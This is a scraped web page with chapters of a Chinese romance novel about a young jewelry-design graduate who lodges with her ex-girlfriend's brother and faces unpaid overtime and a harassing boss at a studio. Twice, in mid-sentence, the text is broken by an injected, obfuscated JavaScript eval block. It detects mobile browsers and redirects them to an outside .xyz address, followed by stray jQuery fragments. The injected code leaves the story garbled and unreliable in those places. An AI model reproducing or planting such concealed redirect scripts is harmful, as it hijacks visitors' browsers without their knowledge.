思索再三,她决定还是不把暂住在黎嘉年家里的事说出去,说了估计程芷琳会胡思乱想。于是林予星找了个借口,说住在黎嘉年给她安排的阿姨家后,就此终结这个话题。
程芷琳或许是相信了,并未再追问下去。
她松了口气,拎着大袋小袋走进小区。走着走着,忽然想起黎嘉年说楼上这几天就搬走,具体几天,他却没有说。
为什么不说呢?
是租客租期还没到吗?
不等她想明白,手机再次震动。
这次,是有电话打过来。
林予星低头去看屏幕,是黎欣。
她叹口气,犹豫再三,按下接听键,故意用轻松的口吻开场:"你好,大小姐,请问找你前女友什么事?"
"没事就不能找你?"黎欣听起来很高兴,"哎呀,你那没结成婚的前未婚夫现在满世界找你删朋友圈呢。你找男人眼光也太差了,就这么个孤寒人士,你怎么忍过来的?五块二的红包,他也好意思发?"
林予星听出了些幸灾乐祸的味道,翻了个白眼:"特意打电话过来嘲笑我识人不清?国际话费不用钱?"
"就是问下你的近况,顺带……"黎欣顿了顿,语气平缓下来,"做这么绝,你还准备回去吗?以后要怎么办?"
她还有一句:要不要帮你?
这句话,黎欣不会轻易说出口。
林予星自然也知道黎欣想问什么,她们太熟太熟,默契到没说出的话都能隔着千山万海,仿佛鸿雁传信,准确无误传达到对方心里。
但林予星要强的性格注定不会开口,更不会接受。
钱易还,人情债难还,何况两人已经分手。
她已经接受黎欣的一次好意,不敢再接受第二次。
再来第二次,她怕还不清了……
微风吹过手机话筒,吹得杂音乱响,耳边响起电视雪花似的噪音。
林予星的呼吸很轻很慢,若有似无,像风般冷淡。
“不回去了。”
从她和罗森闹崩那刻就下定决心不回去。
“以后,也不回去。我会好好活下去。”
活的像个人样,靠自己在新地方扎根。
“你不用担心我。哪天我要是穷的要饭,你看到了,别往我破碗里扔钢蹦就行。”
手机那头安静许久。
两人呼吸通过信号静静响在对方耳边。
恍惚回到从前的错觉令她们同时沉默。
也是夏日,也是下午,她们曾这么安静地呆在对方身边。
林予星靠在黎欣肩头,发梢扫过脸颊。薰衣草洗衣粉味混着体香从校服面料中透出。那一刻也如今日,无比清晰听到彼此轻弱呼吸,知晓未说完的话。
直至许久,手机那端发出一声不知道是叹息,还是苦笑。
隔着上万公里,林予星看不到她表情。
只听到黎欣轻声说:“知道了,我会直接路过,并委托别人给你送刮刮乐,让你误以为自己中了大奖。”
她还有许多话想说,而这已经无关爱情。
林予星浅淡笑笑:“黎欣,好好过你的生活。不用担心我,挂了。”
如果有那天到来,她不会被任何人发现。
她们和平分手那天,黎欣说过许多话,林予星即使知道她能做到也绝不会开口。
其中包括那句,“是我对不起你,以后要是走投无路,你一定要记得,有我给你托底。”
亲生父母都做不到的事,让别人做,未免可笑。
她不会,也不愿意做个寄生虫,依附在别人身旁,手心向上讨生活。
林予星按断这通电话,抬起头去看天色。
云层厚重,闷热空气中隐约注入丝缕凉气。
还未下雨降温,紫荆花树下仍有老人聚集下棋,或是在另一边有健身器材的地方玩花样,各个生龙活虎,充满年轻人都少有的朝气蓬勃。
她路过时,有阿姨认出她,拎着塑料袋朝她打招呼,提醒她明日记得添衣。
林予星点头应好,走到楼下拿出门禁卡开门。
在她头顶,燕子叽叽喳喳宣告筑巢完毕。半圆黄泥安在斑驳白灰屋顶,宛如将明未明的天色,乌云飘来,遮蔽半轮圆月。
"滴。"
门开了。
楼道灯光亮起,昏黄灯色将这片灰白空间照亮,宛如倒满蜂蜜的玻璃罐,沉闷而带着广东特有的潮气。
林予星走入,返身关门,不经意间看到门外有人在盯着自己。
是刘杰。
还有他老婆。
他脸上露出疑惑,更多的是打量,似是不解她怎么搬到了这栋楼。
刘杰老婆也看到了她,提着两袋沉重的塑料袋催促刘杰快走,别再招惹是非。
林予星没再理他们,上楼回暂住地。
密码锁打开那一瞬,屋内传出浓郁淮山香气。
別西卜趴在不远处,摊开肚皮躺着,粉舌头从嘴边吐出,像随意放置的领巾。它已经睡得翻白眼,连家里来人都不动一下,似是累极。
她放轻脚步进去,换上家居鞋,低头看到地砖缝隙干净到反光,猜想今天应该是拖了地,每寸地砖都加了特效般明亮。再去看其他地方的犄角旮旯,连一丁点灰都看不见。
黎嘉年可能有洁癖。
才搬过来,她并不知道他习性,只能从细微之处猜测他究竟是什么样的人。
她的目光从地上移到玄关台,发现这块地方更是强迫症福音。
别说灰尘,东西摆放的位置像有标尺量过般整齐。
林予星顿时有些不太好意思,她活的太随意,东西习惯到处乱放,明显与他合不来。
她只能在心中祈祷楼上赶紧搬走,她住进去,才不会有寄人篱下的约束。
回头整理好自己鞋子,轻手轻脚走进去。
別西卜总算有了反应,从翻白眼睡眠状态中清醒过来看了她一眼,又继续闭上眼睡觉,看起来累得不行,都不找她要摸头。
她恶劣心起,硬把它从地上拖起来,狠狠摸了两下。
別西卜生无可恋地像只快精尽人亡的鸭子,任由她搓揉捏圆,连挣扎的力气都没有。
狗在这,人呢?
林予星看了眼身后厨房小火慢煮的红泥煲,狐獴般抬头扫视周围。
没人。
连黎嘉年声音都听不到。
偌大的家里安静的只剩厨房里咕噜噜的煲汤声。
再仔细听,能听到点音乐。
林予星起身,将买来的东西放在餐桌上,绕过花鸟屏风往客厅看去。
米白沙发上,覆盖大片棕色薄毯,他背对着电视机,安静地蜷缩在毛绒毯子下,露出一节清瘦脚踝,石膏般泛着淡光。
家居鞋放在地毯外,摆放的整齐,茶几上摆着几本翻开的书,还有副复古的金棕色眼镜。
她没有打扰他,也没有靠近,去厨房悄悄把火调的更小后悄悄回了自己房间。
手机充上电,屏幕显示已是下午五点。
趁着天色还早,她拿了睡衣关上门洗澡。
吹干头发再出来时,半小时过去,客厅依稀有了动静。
林予星拿着换下的衣服走出,正好撞上刚睡醒的黎嘉年。
他头发有些乱,戴着眼镜迷迷糊糊的样子,看到她,声音懒散问:"怎么回来也不说一声?"
"……我看你在睡觉。"林予星有些尴尬。
黎嘉年低头去看她手里换下的衣服,刚洗完的头发发尾略有些湿润,在过道灯下微微泛出红棕色。柑橘味洗发水经过热气烘熨,莫名多了几分旖旎暖香。
他不动声色退后半步,点头道:"嗯,你去洗衣服吧。烘干机会用吗?"
她连洗衣机都是看了说明书才会用……
科技日新月异,产品型号更新迭代,在出山城前她都是靠手洗和自然风干。
看出林予星窘迫,黎嘉年带她来到阳台,将昨天的衣服拿出放入最上层的烘干机,指了指电源键:"这里,点开之后转这。"
他边说边拧动旋钮,耐心教她:"这里有模式选择,定时,还有烘干程度。对了,你昨天洗衣服用消毒液了吗?"
"嗯,用了,我看说明往槽里放了大概半瓶盖。"
"好。"黎嘉年回头见她站的远,叹了口气,"你不用这么拘束,我没这么难相处吧?"
"倒是没有,我这不是担心越过社交距离,你会觉得不舒服嘛。"
"……"黎嘉年无语半晌,转了话题,"晚上有约?没有一起吃饭。"
已经蹭住,再蹭吃不大好。
林予星刚想拒绝,黎嘉年已经走过她身边,往厨房方向走去。
"楼上下星期就搬走,你要是实习期能过,我们签个租房合同。先喝汤还是先吃饭?"他不知道她会这么早回来,以为要跟朋友玩到深夜才回。
这么一打岔,林予星便忘了自己要说什么。
日常的对话让她有点接不上话,更不知要怎么回应。
亲密说不上,只是过于自然,仿佛回到过去和黎欣在一起的日子。
两姐弟说话方式和态度都很像。
只是黎嘉年更为懒散温和,仿佛没有攻击性。
沉默了会,林予星才跟着他走进厨房:"先喝汤吧。"忽然她想起什么,又问,"我喝了你会不会不够?"
"我煮的两人份,行行好,分担下。"黎嘉年说完,关闭灶火。
湿布巾盖住泥煲盖,轻轻揭开后是大片热雾,连同眼镜片上都起了层薄白。他捏住眼镜横梁摘下,放在台子上,眼角余光看到林予星踮着脚在拿碗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732100|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,某一瞬间,他想起了黎欣。
她和黎欣在一起时,会不会也像现在这样?
配合着布置晚饭所需,哪怕她不怎么会做饭,也在黎欣身边围转,像个勤劳的蜜蜂?
这个想法一旦升起便难以遏制。
黎嘉年抿抿唇,放下汤勺,走至林予星身旁:“不是给我买了水果?拿个小篮子洗洗吧。还有益力多,放冰箱。然后看看是要坐客厅还是外面餐桌。”
他故意引开她注意力,而林予星也果然上钩,点点头按照他说的去做。
刚从橱柜里拿出的碗筷被顺势接过。
她没有觉察到的心思在空气中化作无形,融入暖融汤雾。
荔枝与枇杷滚入水槽,水花四溅。
等洗到第三遍时黎嘉年已经盛好汤,挽袖子走来。
“去喝汤吧,我来。”说完,拉起她的手擦干后推出厨房。
林予星懵了,这一套行云流水的赶人动作是怎么回事?
她疑惑去看,就见黎嘉年已经把红棕荔枝和金黄枇杷倒入旁边水槽,用过滤过的自来水再次清洗。
就这还不够,他拿了盐丢入水中,清洗到第五遍才停下。
“……”
他果然有洁癖。
“怎么不去喝汤?”黎嘉年拿果篮的间隙,看到她还杵在门边,多加了句,“不用等我,你喝就行。”
林予星看看果盘,又看看他:“你嫌我洗的不干净,要多洗几遍直说呗。”
“……我没有。”
“真没有?”
“没有。”
“那等会我洗碗?”
“不行。”
“……”
黎嘉年看她皱眉,终于忍不住道:“不是嫌弃你,我有点强迫症,必须自己收拾,是我自己的问题,抱歉。”
“是不是还有洁癖?”
那双棕色眼睛嵌在柔软眼睫中,清澈明亮,仿佛能洞悉一切。
"知道的话就别多想了。"黎嘉年叹气,"给,我再炒个青菜,你坐着喝完汤后吃饭。"
她接过果盘,开玩笑般说了句:"这么贤良淑德?"
"嗯,不然怎么找女朋友?"他不在意被这么说,示意她去餐桌坐下。
这次,林予星不再试图帮忙,乖乖坐到餐桌旁。
灯火通明,照的汤色清亮。
炖烂的淮山露出尖尖一角,如被海水逐渐侵蚀的礁石。
沉在底下鲜嫩黄玉竹混着排骨,点缀的枸杞似窝洞里探出身子的红鱼,随着陶瓷调羹放入,顿时像卷起暴风雨般搅得浑浊不清。
排骨上的肉脱离短骨,和淮山一起,几乎入口即化。
口感很淡,舌尖只感觉到一丁点咸味,再尝到的便是食物自带的大片清甜。
厨房内,黎嘉年正在爆香蒜末,不经意间从油烟机操作板上看到林予星。
他装作若无其事回头去看,隔着透明玻璃,她拿着调羹小口喝着,眉眼弧度欲弯不弯,眼里也像起了雾,漫不经心望着某处。
是全然放松享受其中的姿态。
锅铲翻动的动作慢慢停下,油里蒜末鼓点般溅的噼里啪啦响。
原本嫩白碎末变得焦黄,最后即将被黑色侵蚀。
林予星闻到焦糊味,从放空状态中清醒,看向厨房内正往锅里扔油麦菜的黎嘉年。不知道是不是错觉,总感觉他有些手忙脚乱。
等她喝完汤,油麦菜也炒好上桌,还有一份腐竹蒸鸡。
黎嘉年围着围裙走到她身边,背过身道:"帮我解一下,解不开了。"
米黄细带松垮垮垂在他腰间,林予星站起,盯着他的背感慨:"长得真好啊。"
说完,她这才去解系成死结的围裙。
长得真好?
什么意思?
刚刚炒菜升起的热气似在这时才爬上耳尖,她的指骨时不时碰在腰间,黎嘉年开始后悔让她帮自己解开。
太近了……
还有刚刚那句话,总让他浮想联翩。
黎嘉年目光闪烁一瞬,瞥眼去看沙发旁睡得死沉的別西卜。
算了,还是别指望这只蠢狗了。
他张了张嘴,深呼吸一口气,问:"什么长得真好?"
"脊椎啊!"林予星毫不犹豫,"我隔着衣服都能看出,你身体体态很好,没有高低肩,没有驼背,髋骨正常,比我以前画的裸模体态好多了。"
"……裸模,男的女的?"话问出口黎嘉年就狠狠闭了下眼。
他今天怎么回事?脑子丢红泥煲里了吗。
"男女老少都有。"林予星没有觉察他不对劲,沉浸在自己思绪中滔滔不绝,"之前有个体育班学田径的,体态也好,就是比例不好,腰长显得腿短,穿着衣服还看不出什么,脱衣服后特别明显……"
胸口悸动犹如水面晃动起的涟漪,随着她的话逐渐平静。
这话题再继续下去他知道会发生什么,黎嘉年并不想从她口中听到他不想听到的,就如从前黎欣在他面前炫耀林予星给她画的素描头像。
一点一滴,都是他融入不进去的曾经。
哪怕介意,也找不到合适的身份。
他当机立断,扭头对林予星说:"我饿了,盛饭交给你。"
"啊?噢,好。"
怎么话题断的这么莫名其妙?
林予星扯动细带,死结松散,从两侧垂落。
黎嘉年侧头看她,恰好看到她匆匆路过的侧脸。
从耳边的发丝,到她眼底的薄弱微光。
画面一如既往重叠。
横跨青春时代的五年,她无心路过的五年。
12.蜜汁叉烧饭
那天晚上,吃完晚餐后看的电影是《怦然心动》。
电视光影变幻,照在茶几摆放的白底黑字书封上,排版简洁,唯一的色彩是正中偏上的蓝色羽毛。
林予星读书时英语不错,加上常看外国电影,盯着那本封面看了半晌,终于翻译过来书名。
——《当呼吸化为空气》。
趁着午休吃饭,她打开软件去搜了下简介,是有关医疗的。
今天星期一,周栗不在。
偌大工作室只剩她和才哥,趁他在谈工作,她马不停蹄溜出来,免得被要求带饭。
可依旧逃不过。
她在等这本书电子版跳出的时候,微信震动,消息弹出。
[才哥:帮我买饭,要一份蜜汁叉烧。]
“……唉。”
是福不是祸,是祸躲不过。
周六晚上分开时,周栗留下的那句“他要是让你买饭,你记得跟他要钱”还响在耳边,林予星实在不知道该怎么办。
她望着墙上蜜汁叉烧后边跟着的15就觉肉疼。
这个时候该怎么办?
程芷琳在上班,估计不会秒回。
她想了想,拿出手机对着价目表拍了一张,又截图自己的微信钱包,[¥0.03],一起发给才哥,又补了个表情包[尴尬笑.jpg]。
一分钟,没有回。
两分钟,没有回。
三分钟,林予星已经准备贷款上班,手机那端终于有了动静。
橙色边框跳出,留言:饭钱。
[才哥转账:15]
林予星松了半口气,点下接收,去前边打包叉烧饭。
等会她不会因为左脚先踏进工作室被开除吧?
她想找周栗说下,又不大想在人家休息期间打扰。
算了,走一步算一步。
收起手机,她看着玻璃窗里面师傅戴上一次性手套,从不锈钢盘子里拿过叉烧肉,细细切均匀,红橙色表皮下是微微泛黄的瘦肉,被整齐码放在饭盒里的大白米饭上,遗留的酱色染红米饭,连白芝麻都渡上了亮晶晶的汁液。
腌制过的酸菜与青色白菜放入饭盒小格,衬地叉烧愈发红。
隔着玻璃都似乎能闻到叉烧肉独特的鲜甜气息。
她付了钱,拎起打包好的叉烧饭走出店门。
塑料袋滑滑的,切菜师傅手上常年累月的油水抹在上面,有种厚重且不舒适的油腻感。
今天阴天,天色阴沉如夜。
本该是白昼的街道却亮起灯,吸引路人进去吃饭。
小小的饭馆档口仿佛是人类加油站,到点就会有无数耗尽精力的人涌入再陆续走出。
中午、晚上、早晨,周而复始。
红砖被路边树根顶起,仅容一人通行的道路必须侧着身和人避开行过。
老屋子没有装抽油烟机的条件,有些店铺选择装个排风扇,将锅里的雾气往街外排。
林予星必须眼观六路才能避免被店内的水雾烫到,回到工作室时,里面静悄悄的,客户已经离开,会客室内却多了个陌生的短发女孩。
自给林予星面试完后就不曾再露面的白胖男人突然出现在这,拿了文件夹从她面前经过。
要是没记错,她该叫他華哥。
"予星,倒杯水进来。"華哥嘴角带笑,音色温和。
“好。”林予星应了声,拿一次性塑料杯装满温水,走进会客室,放在那女孩面前。
華哥扫她一眼:“门带上。”
林予星听话照做,她没问才哥去了哪,又见工作室没人,只好放在桌上,给他发微信提醒。
午休一小时,距离上班时间还有十五分钟。
食困袭来,她趴在桌子上,不自觉想眯一会。
低头那刻,林予星看到自己手稿画的款式被人用铅笔勾了两个款,她盯着上面灰细的勾,稍微清醒了些。她想,今天比起前几日要有进步,至少有产出。
这时,才哥从外面回来,嘴里吐着烟雾,满身烟草味。
他望了眼林予星,没说一句话,将她买来的蜜汁叉烧饭提起,走进无人的执模室。
是什么意思?
在怪自己跟他要钱吗?
林予星心中惴惴,没忍住给周栗发信息。
等了会,那边没有回,她实在扛不住,定好闹钟趴桌上小憩。
结果会客室里的说话声透过玻璃传出,灰黄隔断犹如淤泥沉积,搅浑后泥沙混入水中,鱼影躲过猎捕,冒出气泡。
“咕嘟……”
烧水壶停止运作。
華哥为自己倒了一泡茶,慢声啜饮。
林予星听力敏锐,静下来后更能从中听出他们在说什么。
音节模模糊糊在脑中自动组词,犹如五线谱跳动的音符,落在五线谱上,调整、校准、填音,组出合适字句。
“你说你毕业于番区?正好,我们工作室新来的也跟你一个学校,应该是你学姐。不过,你没有美术基础……这就有点难办了……”
女孩声音急切:“我可以学,我学东西很快,学校里也有教素描那些,我相信我不会比她们差多少。”
“可是说实话,你画的这些东西……太学院派,适合周生福这些地方,不太适合走高定路线,或许学起来会很难,可能一个月都没办法上手。我们始终是要赚钱的,你这样,我们很难搞。”
“……”
沉默长长久久。
滚水落入茶杯,滴滴咚咚的动静在不大的空间内漾开,荡出无数心绪。
“这样吧……”華哥叹气,“我看你呢,确实也很有诚意。我也是学过珠宝设计的,愿意给新人一个机会。你来我们这,能达到最快的成长,刚刚给你看了我们珠宝总监的设计图,你大概也能明白,这是个不错的机会。”
“毕竟你知道的,周生福那些货就是市场货,做来做去也就那些花样,市场货,普通人买的。但高定珠宝不一样,面对的是高端人群,接触的阶层可是比那些商场货要高很多。”
“滴嘟。”
头顶空调水突然滴落,在深蓝地毯上砸出一朵深色小花。
“如果你考虑好了,就来我们这。实习期没有工资,但可以免费跟着我们学,你觉得怎么样?”
没有工资……
打盹中的林予星微微睁开眼,看到才哥那双灰色AJ球鞋从不远处经过,手里空了的塑料袋在半空中发出细微响动。
手机震动。
午休结束的闹钟响起。
她从桌上爬起来,边拿过未勾线的画纸,边去注意听会客室的动静。
周栗问出那句他们有没有给你开工资果然是有原因的。
这家工作室还真做得出来这件事。
不给工资?
她一千块已经过的紧巴巴,几乎活不下去。
要是没有家里支持,银行卡没有存款,刚毕业的学生又哪来的钱学这些?
林予星忍不住抬头去看,目光穿过灰蒙蒙的玻璃,她只看到短发女孩感激涕零的样子,夹杂着诚惶诚恐的小心翼翼,感激華哥的收留与倾囊相授。
她已经觉出些不对劲,却无法明说。
来这一个星期,她已经大概摸清工作情况。普兰顿是由三人合伙开的,还有一人是才哥女朋友,目前还未出现。
華哥负责招人,开工资,挖掘客户。
才哥负责后方产出,从设计图变实物。
他本人自视甚高,从不肯主动教人。林予星目前上手的东西小部分是周栗教的,大部分靠自己悟。
早听说教会徒弟,饿死师父。
如果新人进来,面临的境地相当于是无工资无教学,相当于骗应届生进工作室打杂吧?
林予星想提醒新进来的妹妹,桌面手机震动。
[周栗:(竖大拇指.jpg)]
[周栗:你这样做很好,我每次就是抹不开面子才不说,要过很久他才还,继续保持,放心,不会怎么样的。]
不会怎么样的……
真不会还没任何东西就被辞退吗……
仿佛知道她这边在担心什么,周栗又发来一条。
[安心画,他找不到像你这样性价比高的了。剩下的,等我明天过来上班时再说。]
[X:好(跳跳.jpg)]
这条微信刚发过去,才哥在外边扔完垃圾又再次回来。
他又点了支烟,叼在乌唇上慢慢走进来。
恰在此时,会客室门打开。
里面茶香混着烟味飘出,有种奇异的呛人气味。容易让人想起那个老封建社会小屋子中的地主,他们半眯上眼,吞吐鸦.片,最终将家中所有产业吸败地一干二净,流落街头。
林予星不知道自己为什么会有这种联想,看到才哥进来,忙不动声色地把手机翻过去,扯过设计图用勾线笔勾画。
和笔尖摩擦纸张一起响起的,还有会客室溢出的说话声。
"等你考虑好了,微信上跟我说一声。"
女孩活泼的声音响起:"不用了,華哥,我考虑好了,明天来这学习可以吗?"
華哥回头看了眼自己搭档,笑着说:"她很崇拜你,明天过来的话要好好教人家。"
烟草气浮动,由远及近。
烟灰缸放在手边距离三十厘米左右的地方。
林予星默默抬起头,正好与才哥对视。
刘海遮光,她有些看不清他眼底的情绪,只知他盯了她一瞬,又转开视线,抬头去看那短发女孩。
"明天十点,先看看你的基础吧。"
女孩没被他的冷淡吓退,笑着应好。
单肩包上,招财猫铃铛昭示她雀跃的心情,从工作室内,一路响到外面。
她前脚刚离开,后脚下起雨来。
室内沉闷地仿佛要凝结出水,在空气中结出小颗水珠。
華哥收好文件夹,关上门在会客室边翻杂志边在跟人打电话。
"哒。"
"哒——"
"哒……"
才哥坐在林予星左手边,终于发现空调漏水。
"你热不热?不热关空调了。"他说。
话语间是询问,手却已经摸上遥控器。
"不热。"
就是闷。
林予星给了他台阶下,才哥二话不说按下电源键。
她眼角余光瞥见他手机屏幕停留在缴纳电费界面,589.5元。
难怪急着关空调。
她半个月工资。
等确定关上空调后,才哥这才问她:"你勾线勾完了吗?"
"嗯,刚好勾完。"林予星应道,放下画笔让他检查。
"你画的还挺快。"
这句听不出是夸还是贬,只见他再次叼上烟,伸手接过画纸。
一张纸上,九个款,因为不知道哪个款式会被选上,她刻意在斜角空白处多花了两个。对比前几日,明显感觉画的好许多,结构紧凑,线条流畅,只是创意想法过多,揉在一起,显得杂乱无章。
才哥没有说话,放下烟后对她说:"笔。"
林予星迅速将自己0.3自动铅笔递给他。
原本勾画好线条的地方被他修饰地更加柔美,一笔接一笔,叠出朦胧感,却能让人窥见其中准确的路。她起身走到才哥身边,看他如何修改。
除去线条,他打了个大形,利用辅助线告诉林予星她画的缺陷在何处。
确认没什么大问题后,才哥递还给她图纸:"这两个地方修一下,用牛皮纸画。"
听到他这么说,林予星压住激动的心情,接过画,马不停蹄在牛皮纸上打十字线,然后抽出硫酸纸按着原画稿前后复制涂黑,最后用尺子将印上去的铅笔灰狠狠怼上黄褐色纸张。
等到硫酸纸拿开,在普通白纸上的吊坠已转移至它该呆的地方。
才哥侧过脸,眼角余光打量林予星,从她柔软泛黄的及腰长发到夏天七分袖中露出的白皙肌肤,再到修长的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786174|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手指,眼中浓雾渐深。
他扯了张纸,边拿出个两克拉的红宝石边问:"听说你之前学美术的?怎么会选珠宝这行?"
"……专业调剂。"
这中间其实有很长一段故事,但林予星不想再提,仅用最简短的回答将这个话题带过去。
"这么冷门的专业都给你遇上了。"才哥漫不经心地转笔,"你家里支持吗?"
"不太支持,但也还好,反正能养活自己就行。"
他今天怎么跟自己拉起家常?林予星戒备心起,装作镇定继续勾线。
"也是,学这个也没坏处,珠宝这行能遇到更多有钱人。你应该没有男朋友吧?"他放下笔,伸手对她说,"把那边水彩给我。"
林予星起身,按着他的指示找到放在对面角落的深蓝色铁盒。
狮鹫标志,logo印在右下角,是温莎这个牌子,约莫四百左右。
她不回答,才哥没再问下去。
外边小雨渐渐下大,很快洇湿灰色水泥路。
随着天色愈发昏暗,路灯亮起,落在湿淋淋的路上,像洒溅金箔的黑绸布。
快下班时,工作室只剩下两人。
華哥应是回去了,林予星没有注意。
等到墙上时钟缓慢爬向"7",桌上手机适时震动。
[JN:下班了吗?饭搭子。]
林予星偷偷看了眼才哥,拿起手机正要回复,才哥递给她一张他画的画稿。
"学美术的,应该很容易理解吧?"
他再次点燃一根烟,本该是白色的烟雾在灯管下略略泛青,乌色嘴唇抿成线,像压扁发霉的油烟管,溢出浓烟。
她低头去看,发现是宝石以及金属的上色,不同的是,这次不再是步骤图,而是成稿。
“今晚把这张设计稿给到我。”
一切都被周栗料中,过完七日新手保护期,就开始加班。
但在这个学习的关口,林予星是愿意的。
她不去问有没有加班费,有没有调休,走回原位学着用水彩上色。
才哥用双脚踢动带轮子的椅子靠近,指导她用白颜料铺底,等干燥后他随手拿过自己的水彩,借给她用。
林予星说了声谢谢,指尖不小心碰到才哥的手,他的手很暖,或许是因为经常吸烟,等她硬着头皮拿过时,发觉自己手上也沾染些许烟草味。
浓烈、刺激,又呛人。
雨势随着时钟滴答转动没有停止的趋势,反倒越下越大。
工作室里安静地只能听到雨声。
直到快到九点。
“咔哒”细响,两张椅子相撞,人影晃了晃,笔尖滴下的水珠差点溅到牛皮纸上。
林予星急忙把水彩细笔挪开,惊诧去看才哥。
他靠近,嘴里都是烟,她竟看不清他的嘴,只听到他说:“你差不多该回去了。画的可以,有空多看杂志,你到这之后,我都没怎么看你走动。”
说着,他将夹烟的手放在她椅背上,拿起一根勾线笔指着稿子道:“上色太脏,没等干的差不多就上就会跟现在一样糊成一团,碎钻不用太仔细,有那个效果就好,你现在点在中间画的像虫卵……”
他说的又快又密,男人身上的烟味混着雨水腥气扑入鼻息,林予星拿笔认真记下需要改进的地方,并未觉察二人中间空隙从米到厘米,又从厘米到毫米,几乎相触的霎那,桌上手机响起刺耳来电音乐。
林予星觉察出不对的时候已是在回去的路上。
地铁奔行于黑暗隧道,在她对面的窗户映出保险广告,男人英俊的脸隔着玻璃有种扭曲的阴沉感,带着冰冷审视的目光望向她。
等到穿梭在地下的长虫再次启动,她看到自己的脸印在漆黑玻璃上,苍白、瘦弱,乖得不行。以苛刻的眼光来看,能找出诸多缺陷。
但够了。
已经够了。
光是皮肤白已经是人群中亮眼的存在。
[X:我觉得才哥有点不对劲。]
林予星想把这条编辑好的话发给周栗,想了想,又删掉。
还是明天当面说清楚吧。
手机里打出的文字容易成为背刺的铁证。
下了地铁,一路走回目的地。
路面覆着水膜,不论往哪走都没有干燥地,鞋子进水,连袜子也变得湿漉黏闷。
她走进小区,匆匆行至檐下,在包里翻找门禁卡时意外发现对面楼下长椅坐着个人。
是刘杰妻子。
她低着头,长发披散,带着油渍的灰色衣服裹在她身上,使得肚子看起来愈发大,像抱着个气球,而她拿着发夹宛如球上的装饰。
在这雨天,她独坐在长椅上显出几分无助,似是拿着绣花针轻轻刺个洞,精神气就散了,只留下那大大的肚子。
林予星本能想去问问她为什么大晚上不回家,但克制住了,抬头看看四楼方向,黑魆魆的窗犹如裁剪方正的黑纸贴在墙上,刘杰不在吗?还是已经睡了?
带着诸多疑惑,林予星多看了她几眼,还是决定不多管闲事。
收起伞,进了电梯。
“滴——”
门开了。
她拿了几张纸垫在玄关处,脱鞋把自己弄干净后才穿上家居鞋走进黎嘉年家里。
里面很安静,别西卜洗了澡,看到她回来,“哒哒哒”跑过来,尾巴都快摇成风扇。
林予星笑着用力抱起它,走进客厅却听到细不可闻的翻书声。
她倏然想起一件不太好的事。
“你回来了?”黎嘉年声音响起。
林予星悄摸探出头,尴尬回:“嗯……”
他穿着白色睡衣坐在地毯上,底下垫了坐垫,低矮茶几放满书。电脑屏幕的冷光照在他脸上,带着丝肃冷。
黎嘉年没有看她,只是边打字边问她:“加班怎么不回我信息?”
不等林予星回答,他闻到空气中浮动的烟草味,不自觉皱眉。
他不动声色望向她。
13.癍痧凉茶
接连一星期,加班不断。
从八点到九点,又从九点到十点,偶尔是十一点。
末班车23:30分,深夜依然挤满下班的人。
头顶车灯黯淡,照得人仿佛游魂般浑噩不清。
林予星一开始不明白为什么地铁上总有睡着的人,嘴巴张的大大的,蓬头垢面,身上色彩都仿佛洗涤多次后褪色的衣物,泛白陈旧。在接连几日加班下,她也成为了这样的人。
更确切来说,她们、他们,都活成了它们。
或许未来会好,但现在不过是出厂合格的零件,等到身心俱疲之时,要么打磨一番后跳槽,要么更新迭代。更甚者,丢进废弃厂,不再回收利用,混着废渣成为钢筋泥土下微不足道的一粒沙。
不想被卷入时代车轮底下,沦为牺牲品,她只能咬牙撑过这最艰难的时刻,不让生存压力将自己压垮。
手机震动,将地铁上熟睡的人震醒。
林予星这才发现自己居然靠在车厢壁上睡着,她打开手机看去,三条消息蹦出,是不同的人。
[周栗:好好休息,以后我会尽量和你一起。放心,他有贼心没贼胆。]
林予星把自己上星期觉察才哥不对,甚至不太舒服的地方告诉周栗,周栗却让自己安心,继续学习工作,刻意发信息过来安抚……
迟钝的大脑缓速运转,她有种预感,普兰顿工作室第三位合伙人,就是才哥女朋友,其实能看到摄像头,不然无法解释才哥靠近自己时那恰到好处的一通电话,更不可能让周栗主动说出这番话。
万事周全的人总会把话说的圆满体面。
最后一句,看起来不像周栗的风格。
如果是这样……
那林予星稍微放下心,给周栗回了个好。
伸手点左上角返回,点开第二条信息。
[程芷琳:我准备换工作了,外包好惨,他们正式工今天发油粮面,我什么都没有,还要过来阴阳怪气(流泪/流泪/流泪.jpg)。]
正式员工和外包差的不仅是福利待遇,职场中隐形的等级歧视也让人不好过。
身处同一食堂,正式工与外包都要隔着一堵墙。
都是打工的,谁又比谁高贵?
因为这点特殊,久而久之便以为自己也是上一阶层,利用自己手头上的权力,尽全力去为难底下人。
资本将人异化,分割团体,让身处温箱中的蚁群相互监督,自相残杀。
若是公司绩效好,上头全当看不见,总归烧不到他们身上。
但若遇上裁员,上边发话,这一串人就会跟剥玉米粒一样,脱离主体,游散各地。
林予星拿起手机,删了又打,打了又删,最终还是发过去一句。
[X:记得骑驴找马,不要轻易裸辞。要是没地方住,等我搬好家你过来。]
她只能说到这。
月薪一千,住着别人房子,每个月贷款上班,她实在有心无力,想帮也没办法帮。
等了会,程芷琳没有回。
估计是睡了,这么晚了还在加班回去路上的只有她。
正想着,地铁播报响起。
“列车即将到达芳华站,请小心列车与站台之间的空隙。”
林予星清醒过来,拎起帆布包,匆忙间按到手机屏幕,点了返回。
